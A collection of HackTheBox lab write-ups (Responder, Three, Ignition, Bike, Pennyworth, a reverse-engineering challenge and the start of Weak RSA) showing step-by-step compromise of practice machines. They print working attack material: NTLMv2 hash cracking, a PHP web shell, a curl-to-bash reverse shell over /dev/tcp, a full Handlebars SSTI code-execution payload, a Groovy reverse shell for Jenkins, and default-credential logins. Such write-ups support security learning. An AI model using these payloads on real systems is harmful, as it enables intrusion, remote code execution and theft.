``` 74 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/responder] 75 | └─$ john hash.txt -w=/usr/share/wordlists/passwords/rockyou.txt --format=netntlmv2 76 | Using default input encoding: UTF-8 77 | Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) 78 | Will run 4 OpenMP threads 79 | Press 'q' or Ctrl-C to abort, almost any other key for status 80 | badminton (Administrator) 81 | 1g 0:00:00:00 DONE (2022-04-18 15:57) 1.063g/s 4357p/s 4357c/s 4357C/s slimshady..oooooo 82 | Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably 83 | Session completed 84 | ``` 85 | 86 | With the nmap scan we saw the port `5985` was open which is the port for `WinRM`. 87 | 88 | ``` 89 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/responder] 90 | └─$ evil-winrm -u Administrator -p badminton -i unika.htb 91 | 92 | Evil-WinRM shell v3.3 93 | 94 | Info: Establishing connection to remote endpoint 95 | 96 | *Evil-WinRM* PS C:\Users> dir 97 | 98 | 99 | Directory: C:\Users 100 | 101 | 102 | Mode LastWriteTime Length Name 103 | ---- ------------- ------ ---- 104 | d----- 3/9/2022 5:35 PM Administrator 105 | d----- 3/9/2022 5:33 PM mike 106 | d-r--- 10/10/2020 12:37 PM Public 107 | 108 | *Evil-WinRM* PS C:\Users\mike\Desktop> type flag.txt 109 | [REDACTED] 110 | ``` 111 | 112 | -------------------------------------------------------------------------------- /Starting Point/Tier-1/5. Three/Readme.md: -------------------------------------------------------------------------------- 1 | ## Reconnaissance 2 | 3 | Kicking off with a simple Nmap scan... 4 | 5 | __Nmap Scan__ 6 | ``` 7 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/three] 8 | └─$ sudo nmap -sC -sV -oN nmap.txt 10.129.50.86 9 | [sudo] password for darshan: 10 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-22 09:02 EST 11 | Nmap scan report for 10.129.50.86 12 | Host is up (0.30s latency). 13 | Not shown: 998 closed tcp ports (reset) 14 | PORT STATE SERVICE VERSION 15 | 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) 16 | | ssh-hostkey: 17 | | 2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA) 18 | | 256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA) 19 | |_ 256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519) 20 | 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 21 | |_http-server-header: Apache/2.4.29 (Ubuntu) 22 | |_http-title: The Toppers 23 | Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 24 | 25 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 26 | Nmap done: 1 IP address (1 host up) scanned in 19.57 seconds 27 | ``` 28 | 29 | Just like a typical ctf challenge, we got 2 open ports. 30 | - port `22`: running `OpenSSH 7.6p1` 31 | - port `80`: running `Apache httpd 2.4.29` 32 | 33 | Visiting the website, I found out that it was just a static web-site which did nothing, but scrolling down to the bottom, I found an interesting thing. 34 | 35 | A domain `thetoppers.htb`. I added the domain to `/etc/hosts` file with the corresponding IP address to be able to access this domain in my browser. 36 | 37 | The `/etc/hosts` file is used to resolve a hostname into an IP address. By default, the `/etc/hosts` file is 38 | queried before the DNS server for hostname resolution thus we will need to add an entry in the 39 | `/etc/hosts` file for this domain to enable the browser to resolve the address for `thetoppers.htb` . 40 | 41 | ``` 42 | echo " thetoppers.htb" | sudo tee -a /etc/hosts 43 | ``` 44 | 45 | ## Enumeration 46 | 47 | Now, I decided to run `gobuster` against the domain to enumerate sub-domains 48 | 49 | ``` 50 | gobuster vhost -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u 51 | http://thetoppers.htb 52 | ``` 53 | 54 | And i got back the following results: 55 | 56 | ``` 57 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/three] 58 | └─$ gobuster vhost -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb/ 59 | =============================================================== 60 | Gobuster v3.1.0 61 | by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) 62 | =============================================================== 63 | [+] Url: http://thetoppers.htb/ 64 | [+] Method: GET 65 | [+] Threads: 10 66 | [+] Wordlist: /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt 67 | [+] User Agent: gobuster/3.1.0 68 | [+] Timeout: 10s 69 | =============================================================== 70 | 2023/01/22 09:06:37 Starting gobuster in VHOST enumeration mode 71 | =============================================================== 72 | Found: s3.thetoppers.htb (Status: 404) [Size: 21] 73 | ... 74 | ``` 75 | 76 | I added this sub-domain to the `/etc/hosts` file too. 77 | 78 | ``` 79 | echo " s3.thetoppers.htb" | sudo tee -a /etc/hosts 80 | ``` 81 | 82 | Visiting the web-page, I found out that it contains only the following JSON. 83 | `{"status": "running"}` 84 | 85 | ![three-1](https://user-images.githubusercontent.com/87711310/213921329-b85f348d-1e0e-4341-9f74-4ee4420bd473.png) 86 | 87 | 88 | It's an `aws s3 bucket`, so i decided to use `awscli` to further enumerate the machine 89 | 90 | We can interact with this `S3 bucke`t with the aid of the `awscli` utility. It can be installed on Linux using the 91 | command 92 | ``` 93 | apt install awscli 94 | ``` 95 | 96 | Then, we need to configure it using the following command: 97 | ``` 98 | aws configure 99 | ``` 100 | 101 | We can list all of the S3 buckets hosted by the server by using the `ls` command. 102 | 103 | ``` 104 | aws --endpoint=http://s3.thetoppers.htb s3 ls 105 | ``` 106 | 107 | ``` 108 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/three] 109 | └─$ aws --endpoint=http://s3.thetoppers.htb s3 ls 110 | 2023-01-22 08:52:20 thetoppers.htb 111 | ``` 112 | 113 | We can also use the ls command to list objects and common prefixes under the specified bucket. 114 | 115 | ``` 116 | aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb 117 | ``` 118 | 119 | And it retured the following results: 120 | ``` 121 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/three] 122 | └─$ aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb 123 | PRE images/ 124 | 2023-01-22 08:52:20 0 .htaccess 125 | 2023-01-22 08:52:20 11952 index.php 126 | ``` 127 | 128 | 129 | We see the files `index.php` , `.htaccess` and a directory called `images` in the specified bucket. It seems like 130 | this is the webroot of the website running on port `80` . So the Apache server is using this S3 bucket as 131 | storage. 132 | 133 | `awscli` has got another feature that allows us to `copy files` to a remote bucket. We already know that the 134 | website is using PHP. Thus, we can try uploading a PHP shell file to the S3 bucket and since it's uploaded to 135 | the webroot directory we can visit this webpage in the browser, which will, in turn, execute this file and we 136 | will achieve remote code execution. 137 | 138 | We can use the following PHP one-liner which uses the `system()` function which takes the URL parameter 139 | cmd as an input and executes it as a system command. 140 | 141 | ```php 142 | echo '' > shell.php 143 | ``` 144 | 145 | Then, we can upload this PHP shell to the thetoppers.htb S3 bucket using the following command. 146 | 147 | ``` 148 | aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb 149 | ``` 150 | 151 | We can confirm that our shell is uploaded by navigating to `http://thetoppers.htb/shell.php`. 152 | 153 | Let us try executing the OS command `id` using the URL parameter `cmd` . 154 | 155 | ![three-2](https://user-images.githubusercontent.com/87711310/213921648-f1229ca8-bf7f-4bed-ab74-8300cb23857a.png) 156 | 157 | The response from the server contains the output of the OS command id , which verified that we have code 158 | execution on the box. Thus, let us now try to obtain a reverse shell. 159 | 160 | ```bash 161 | #!/bin/bash 162 | bash -i >& /dev/tcp//1337 0>&1 163 | ``` 164 | 165 | We will start a `netcat` listener on our local port 1337 using the following command. 166 | ``` 167 | nc -lvnp 1337 168 | ``` 169 | 170 | Let's start a web server on our local machine on port 8000 and host this bash file. 171 | ``` 172 | python3 -m http.server 8000 173 | ``` 174 | 175 | We can use the curl utility to fetch the bash reverse shell file from our local host and then pipe it to bash 176 | in order to execute it. Thus, let us visit the following URL containing the payload in the browser. 177 | 178 | ``` 179 | https://thetoppers.htb/shell.php?cmd=curl%20%3CYOUR_IP_ADDRESS%3E:8000/shell.sh|bash 180 | ``` 181 | 182 | We receive a reverse shell on the corresponding listening port. 183 | 184 | ``` 185 | ┌──(darshan㉿kali)-[~] 186 | └─$ nc -lvnp 1337 187 | listening on [any] 1337 ... 188 | connect to [10.10.16.14] from (UNKNOWN) [10.129.50.86] 41150 189 | bash: cannot set terminal process group (1571): Inappropriate ioctl for device 190 | bash: no job control in this shell 191 | www-data@three:/var/www/html$ whoami 192 | whoami 193 | www-data 194 | ... 195 | ``` 196 | 197 | The flag can be found at `/var/www/flag.txt` . 198 | ``` 199 | www-data@three:/var/www/html$ cd .. 200 | cd .. 201 | www-data@three:/var/www$ ls 202 | ls 203 | flag.txt 204 | html 205 | www-data@three:/var/www$ cat flag.txt 206 | cat flag.txt 207 | [REDACTED] 208 | ``` 209 | -------------------------------------------------------------------------------- /Starting Point/Tier-1/6. Ignition/Readme.md: -------------------------------------------------------------------------------- 1 | ## Reconnaissance 2 | 3 | Kicking off with a simple Nmap scan... 4 | 5 | __Nmap Scan__ 6 | ``` 7 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/Ignition] 8 | └─$ sudo nmap -sC -sV -O -oN nmap.txt 10.129.36.123 9 | [sudo] password for darshan: 10 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-25 15:50 EST 11 | Nmap scan report for 10.129.36.123 12 | Host is up (0.57s latency). 13 | Not shown: 999 closed tcp ports (reset) 14 | PORT STATE SERVICE VERSION 15 | 80/tcp open http nginx 1.14.2 16 | |_http-server-header: nginx/1.14.2 17 | |_http-title: Did not follow redirect to http://ignition.htb/ 18 | Aggressive OS guesses: Linux 5.0 (94%), Linux 5.4 (94%), Linux 5.0 - 5.4 (94%), HP P2000 G3 NAS device (93%), Linux 4.15 - 5.6 (93%), Linux 5.3 - 5.4 (93%), Linux 2.6.32 (92%), Linux 2.6.32 - 3.1 (92%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (92%), Linux 3.7 (92%) 19 | No exact OS matches for host (test conditions non-ideal). 20 | Network Distance: 2 hops 21 | 22 | OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 23 | Nmap done: 1 IP address (1 host up) scanned in 40.86 seconds 24 | 25 | ``` 26 | 27 | Since port `80` was the only port open, I visited the website and got an error. 28 | 29 | ![ig-1](https://user-images.githubusercontent.com/87711310/214688139-4023337a-3137-4b93-b7d3-88164c35fef7.png) 30 | 31 | __Note__: Even though we typed the IP address in the url bar, if you now look closely in the url bar, it has been replaced by `ignition.htb` 32 | 33 | This usually happens when a server (10.129.36.123) is hosting several websites and we need specify to the server which website we want to visit. 34 | 35 | For that we need to edit our hosts file on our VM. Our hosts file can be found in the directory /etc of our machine. Let's open this file and edit it. 36 | 37 | ``` 38 | sudo nano /etc/hosts 39 | ``` 40 | 41 | Then, add the IP address along with `ignition.htb` on a new live, save and exit. 42 | 43 | Now open your browser again and type the IP again in the url search bar. This time it should work:\ 44 | 45 | ![ig-2](https://user-images.githubusercontent.com/87711310/214689800-6741e63a-cbbb-4d3c-8f55-08499979b8b0.png) 46 | 47 | You can navigate the website but it doesn't look like anything is interesting for now. 48 | 49 | Let's use gobuster to enumerate any hidden directories: 50 | 51 | ``` 52 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/Ignition] 53 | └─$ gobuster dir -u http://ignition.htb -w /usr/share/dirb/wordlists/common.txt -x php,html 54 | =============================================================== 55 | Gobuster v3.1.0 56 | by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) 57 | =============================================================== 58 | [+] Url: http://ignition.htb 59 | [+] Method: GET 60 | [+] Threads: 10 61 | [+] Wordlist: /usr/share/dirb/wordlists/common.txt 62 | [+] Negative Status codes: 404 63 | [+] User Agent: gobuster/3.1.0 64 | [+] Extensions: html,php 65 | [+] Timeout: 10s 66 | =============================================================== 67 | 2023/01/25 16:02:35 Starting gobuster in directory enumeration mode 68 | =============================================================== 69 | Progress: 333 / 13845 (2.41%)[ERROR] 2023/01/25 16:03:20 [!] Get "http://ignition.htb/_vti_rpc.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers) 70 | [ERROR] 2023/01/25 16:03:20 [!] Get "http://ignition.htb/_vti_script.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers) 71 | /0 (Status: 200) [Size: 25803] 72 | /admin (Status: 200) [Size: 7092] 73 | /catalog (Status: 302) [Size: 0] [--> http://ignition.htb/] 74 | /checkout (Status: 302) [Size: 0] [--> http://ignition.htb/checkout/cart/] 75 | /cms (Status: 200) [Size: 25817] 76 | /contact (Status: 200) [Size: 28673] 77 | ``` 78 | 79 | Gobuster will keep enumerating for a while, but it has already found something interesting at `http://ignition.htb/admin` 80 | 81 | Visiting the `/admin` directory, we find an admin login page: 82 | 83 | ![ig-3](https://user-images.githubusercontent.com/87711310/214691739-fcd280e7-acb7-403b-aac9-b96318996b5c.png) 84 | 85 | I tried using comman username and passwords to bypass the login mechanism and after a few tries, I finally managed to get in using the username `admin` and the password `qwerty123` 86 | 87 | ![ig-4](https://user-images.githubusercontent.com/87711310/214692341-8efacc5a-6a8e-4486-8c36-a7aff402468e.png) 88 | 89 | The flag is right there at the bottom! 90 | -------------------------------------------------------------------------------- /Starting Point/Tier-1/7. Bike/Readme.md: -------------------------------------------------------------------------------- 1 | 2 | ## Reconnaissance 3 | 4 | Kicking off with a simple Nmap scan... 5 | 6 | __Nmap Scan__ 7 | ``` 8 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/bike] 9 | └─$ sudo nmap -sC -sV -oN nmap.txt 10.129.50.86 10 | [sudo] password for darshan: 11 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-21 02:00 EST 12 | Nmap scan report for 10.129.37.72 13 | Host is up (0.23s latency). 14 | Not shown: 998 closed tcp ports (conn-refused) 15 | PORT STATE SERVICE VERSION 16 | 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) 17 | | ssh-hostkey: 18 | | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) 19 | | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) 20 | |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 21 | 80/tcp open tcpwrapped 22 | |_http-title: Bike 23 | Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 24 | 25 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 26 | # Nmap done at Sat Jan 21 02:00:12 2023 -- 1 IP address (1 host up) scanned in 63.42 seconds 27 | 28 | ``` 29 | 30 | On visiting the web page on port 80, there was just one input box to input email and submit it. 31 | 32 | ![bike-1](https://user-images.githubusercontent.com/87711310/214776916-7cd5f067-fc48-4941-89ad-46a0426405c9.png) 33 | 34 | I used `wappalyzer` to scan the site for information. `Wappalyzer` is installed as a browser extension so we just reload the main page. 35 | 36 | ![bike-2](https://user-images.githubusercontent.com/87711310/214776912-a0eb4020-4e51-4079-b905-6be1ab1ff472.png) 37 | 38 | `Node.js` and `Python` web backend servers often make use of a software called `Template Engines` 39 | 40 | With `Node.js` websites there is a good possibility that a Template Engine is being used to reflect the email. 41 | 42 | Since, this website was using Template Engines, the first thing I decided to try was `SSTI`, this is because most `Template Engines` are vulnerable to `SSTI`. 43 | 44 | I used a basic `SSTI` payload to check if the site is vulnerable to `SSTI` 45 | 46 | ``` 47 | {{7*7}} 48 | ``` 49 | 50 | And I got an error. But one important thing that I found was that at parser.parse the Template Engine being used is `Handlebars` and it is located in the `/root/backend` directory. 51 | 52 | bike-3 53 | 54 | So, I quickly googled `handlebar SSTI` and found out this [blog](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) from Mahmoud Gamal. 55 | 56 | Before using the exploit, I turned on `Burp`, Intercepted the request and sent it to the Repeater. 57 | 58 | Then, I used the payload from the above mentioned blog, or you can get it from [hacktrickz](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection) too 59 | 60 | ``` 61 | {{#with "s" as |string|}} 62 | {{#with "e"}} 63 | {{#with split as |conslist|}} 64 | {{this.pop}} 65 | {{this.push (lookup string.sub "constructor")}} 66 | {{this.pop}} 67 | {{#with string.split as |codelist|}} 68 | {{this.pop}} 69 | {{this.push "return require('child_process').exec('whoami');"}} 70 | {{this.pop}} 71 | {{#each conslist}} 72 | {{#with (string.sub.apply 0 codelist)}} 73 | {{this}} 74 | {{/with}} 75 | {{/each}} 76 | {{/with}} 77 | {{/with}} 78 | {{/with}} 79 | {{/with}} 80 | ``` 81 | 82 | URL encoding the above payload, we get 83 | ``` 84 | ``` 85 | 86 | I copied and pasted it in the `email` parameter on the intercepted request and I got an error. 87 | 88 | Apparently, there was an issue with the website that stated `require is not defined`. I quickly googled to find out the fix for it. 89 | 90 | So, I found out that `require` is a keyword in `javascript/node.js` and it is used to load code from other modules or files, thus it will not allow me to execute our payload 91 | 92 | Now, the best site to use for fixing this error would be Node.JS[https://nodejs.org/en/docs/]. I listed all of the information I needed in order to make this exploit work, specifically `process`. 93 | 94 | Reading through `nodejs.org` I find that the object process has a `maindmodule`, which is a good sign as it can get us the foothold we need in order to execute our payload properly. 95 | 96 | Although the page listed the `process.maindolue` as deprecated, I still attempt it as it will give me the results I need. 97 | 98 | So my final payload was 99 | ``` 100 | {{#with "s" as |string|}} 101 | {{#with "e"}} 102 | {{#with split as |conslist|}} 103 | {{this.pop}} 104 | {{this.push (lookup string.sub "constructor")}} 105 | {{this.pop}} 106 | {{#with string.split as |codelist|}} 107 | {{this.pop}} 108 | {{this.push "return process.mainModule.require('child_process').execSync('whoami');"}} 109 | {{this.pop}} 110 | {{#each conslist}} 111 | {{#with (string.sub.apply 0 codelist)}} 112 | {{this}} 113 | {{/with}} 114 | {{/each}} 115 | {{/with}} 116 | {{/with}} 117 | {{/with}} 118 | {{/with}} 119 | ``` 120 | 121 | I URL encoded it using Burp Decoder. 122 | 123 | ``` 124 | %7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%6c%73%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d 125 | ``` 126 | 127 | And sent the request, It did not actually tell me whoami but I try to run `ls` to see if it lists the files in the present working directory. And it worked!! 128 | 129 | ![bike-4](https://user-images.githubusercontent.com/87711310/214784788-47611f42-947e-4c38-92d7-5c53c45db6de.png) 130 | 131 | So now to retrieve the flag, I just had to view the files of the root directory and hoepfully, I'll find the flag there 132 | 133 | I used `ls /root` command inside the `execSync` to list the contents of the `/root` directory. 134 | 135 | ![bike-5](https://user-images.githubusercontent.com/87711310/214784797-b5a9fcd0-31c4-417c-b82e-00bf55a0e22e.png) 136 | 137 | Similarly, we can get the flag using the `cat /root/flag.txt` in the payload instead of `ls /root` command 138 | 139 | ![bike-6](https://user-images.githubusercontent.com/87711310/214784803-416e9c23-fc43-4faa-ab29-1f06d0f54603.png) 140 | 141 | And we can complete the challenge!! 142 | -------------------------------------------------------------------------------- /Starting Point/Tier-1/9. Pennyworth/Readme.md: -------------------------------------------------------------------------------- 1 | ## Reconnaissance 2 | 3 | Kicking off with a simple Nmap scan... 4 | 5 | __Nmap Scan__ 6 | ``` 7 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/three] 8 | └─$ sudo nmap -sC -sV -oN nmap.txt 10.129.36.207 9 | [sudo] password for darshan: 10 | Nmap scan report for 10.129.36.207 11 | Host is up (0.31s latency). 12 | Not shown: 999 closed tcp ports (reset) 13 | PORT STATE SERVICE VERSION 14 | 8080/tcp open http Jetty 9.4.39.v20210325 15 | |_http-server-header: Jetty(9.4.39.v20210325) 16 | | http-robots.txt: 1 disallowed entry 17 | |_/ 18 | |_http-title: Site doesn't have a title (text/html;charset=utf-8). 19 | No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). 20 | TCP/IP fingerprint: 21 | OS:SCAN(V=7.92%E=4%D=1/21%OT=8080%CT=1%CU=37255%PV=Y%DS=2%DC=I%G=Y%TM=63CB9 22 | OS:1D2%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)O 23 | OS:PS(O1=M537ST11NW7%O2=M537ST11NW7%O3=M537NNT11NW7%O4=M537ST11NW7%O5=M537S 24 | OS:T11NW7%O6=M537ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E 25 | OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M537NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F 26 | OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5 27 | OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z 28 | OS:%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK= 29 | OS:G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) 30 | 31 | Network Distance: 2 hops 32 | 33 | OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 34 | # Nmap done at Sat Jan 21 02:18:42 2023 -- 1 IP address (1 host up) scanned in 55.12 seconds 35 | 36 | ``` 37 | 38 | Visiting the website on port 8080, I found a `Jenkins Login Page`. So I tried entering common username and password combination to see if I could bypass the login page (admin:password, admin:admin, root:root) 39 | 40 | ![pw-1](https://user-images.githubusercontent.com/87711310/214796032-93ca6d38-a204-46a2-a785-9c97e41d7f52.png) 41 | 42 | And luckily after a few tries I was able to login in using `root:password` as credentials. 43 | 44 | ![pw-2](https://user-images.githubusercontent.com/87711310/214796048-c2b27452-de0c-409b-b912-a447d33f1d6b.png) 45 | 46 | After looking around the website for a while, we find this interesting section of the website: 47 | 48 | ![pw-3](https://user-images.githubusercontent.com/87711310/214796056-8e16f2f7-f140-4d4c-b1d9-1264b31523e5.png) 49 | 50 | To get there, click on `Manage Jenkins` on the left pane, then scroll down all the way to the bottom of the page and click on `Script Console`. 51 | 52 | On Googling "Jenkins exploit" and I found this [link](https://github.com/gquere/pwn_jenkins) and scrolled down to the reverse shell from Groovy code: 53 | 54 | ```groovy 55 | String host="my I>"; 56 | int port=8888; 57 | String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); 58 | ``` 59 | 60 | Copy paste the code above to the Script Console section of the website. This should look something like this: 61 | 62 | ![pw-4](https://user-images.githubusercontent.com/87711310/214796061-b3f71ab8-e04b-44b4-b4af-ee355b82fe99.png) 63 | 64 | Started a netcat listener on my machine 65 | ``` 66 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/Pennyworth] 67 | └─$ nc -lvnp 8888 68 | listening on [any] 8888 .. 69 | ``` 70 | 71 | Now, I went back and ran the script from the Jenkins page. 72 | 73 | And returning to my netcat, I got back a reverse shell. 74 | 75 | ``` 76 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Tier-1/Pennyworth] 77 | └─$ nc -lvnp 8888 78 | listening on [any] 8888 ... 79 | connect to [10.10.16.42] from (UNKNOWN) [10.129.36.207] 43016 80 | whoami 81 | root 82 | ``` 83 | 84 | Now that I had a root privileged reverse shell, I could retrieve the flag and complete the exercise. 85 | 86 | ``` 87 | cd root 88 | ls 89 | flag.txt 90 | snap 91 | cat flag.txt 92 | [REDACTED] 93 | ``` 94 | 95 | -------------------------------------------------------------------------------- /Tracks/Beginner Track/2. FInd the Easy Pass/Readme.md: -------------------------------------------------------------------------------- 1 | ## Challenge Description 2 | Find the password (say PASS) and enter the flag in the form HTB{PASS} 3 | 4 | - Download the necessary `find the easy pass` files 5 | That should download the file to your `downloads` directory or wherever you have it set. You need to extract the contents of the `zip` archive but it is password protected. The password is listed on the challenge and it is `hackthebox`. If you’re on Windows you should be able to double click the executable and run it right away. However, if you’re on Linux then you need to run it with emulation software like `wine`. 6 | For the conviniece I ran the file on my Windows machine. 7 | 8 | ![ep-1](https://user-images.githubusercontent.com/87711310/211159072-6c29d477-f548-4166-b473-ca585cf18611.png) 9 | 10 | Now that the application is running it’s a good to make note of the strings you see displayed in the application. This can help track down locations in the program when it’s time to decompile it. The next thing to check is what happens when we submit data to the application. 11 | 12 | ![ep-2](https://user-images.githubusercontent.com/87711310/211159073-f2d98901-a7a9-4302-8ed9-1a91371abf3c.png) 13 | 14 | No matter what we are filling in it will come back with Wrong Password! box. We need to reverse engineer this. Reverse engineering a program just comes down to using the right tools and knowing how to use it. I have search for a program to use for this challenges and came across the Immunity Debugger 15 | 16 | Download the [Immunity Debugger](https://debugger.immunityinc.com/ID_register.py) and open it 17 | 18 | File -> open and select the easypass.exe file 19 | 20 | Debug -> Run 21 | 22 | Enter a password and press enter. The only lead we have is the string Wrong Password! 23 | 24 | In the debugger in the most right upper box. Right click -> search for -> all referenced text strings 25 | 26 | ![ep3](https://user-images.githubusercontent.com/87711310/211161700-c96eeb2b-a0ae-4dc1-97fd-a13b23ab6d6f.png) 27 | 28 | ![ep-4](https://user-images.githubusercontent.com/87711310/211161702-00f7d851-4e93-4650-bf0a-e089602a94e6.png) 29 | 30 | Now we have another string to look for or follow. Double click on it and it will bring you back the the first screen but now to the point where the string is found. 31 | 32 | Right above You see the word Call. Right click on it and select Breakpoint – Toggle. This will stop the program at the point of verification 33 | 34 | ![ep-5](https://user-images.githubusercontent.com/87711310/211161703-d35984f7-aabd-486a-9426-76790a2a982f.png) 35 | 36 | Now fill a password again press check password. It will jump out. When it does look at the upp right screen 37 | 38 | ![ep-6](https://user-images.githubusercontent.com/87711310/211161706-8945dc32-79d7-4270-a437-6ec19a2e8f77.png) 39 | 40 | Notice an other word. Try it as a password 41 | 42 | ![ep-7](https://user-images.githubusercontent.com/87711310/211161769-a4f598c9-dc9e-4def-aa3f-8dc9b81b5a73.png) 43 | 44 | 45 | 46 | Now you can enter the flag and complete challenge. 47 | -------------------------------------------------------------------------------- /Tracks/Beginner Track/3. Weak RSA/Readme.md: -------------------------------------------------------------------------------- 1 | # Challenge Description 2 | Can you decrypt the message and get the flag? 3 | 4 | ## Solution 5 | Download the necessary `Weak Rsa.zip` files and uzip it. 6 | ``` 7 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Weak-RSA] 8 | └─$ unzip Weak\ RSA.zip 9 | Archive: Weak RSA.zip 10 | [Weak RSA.zip] flag.enc 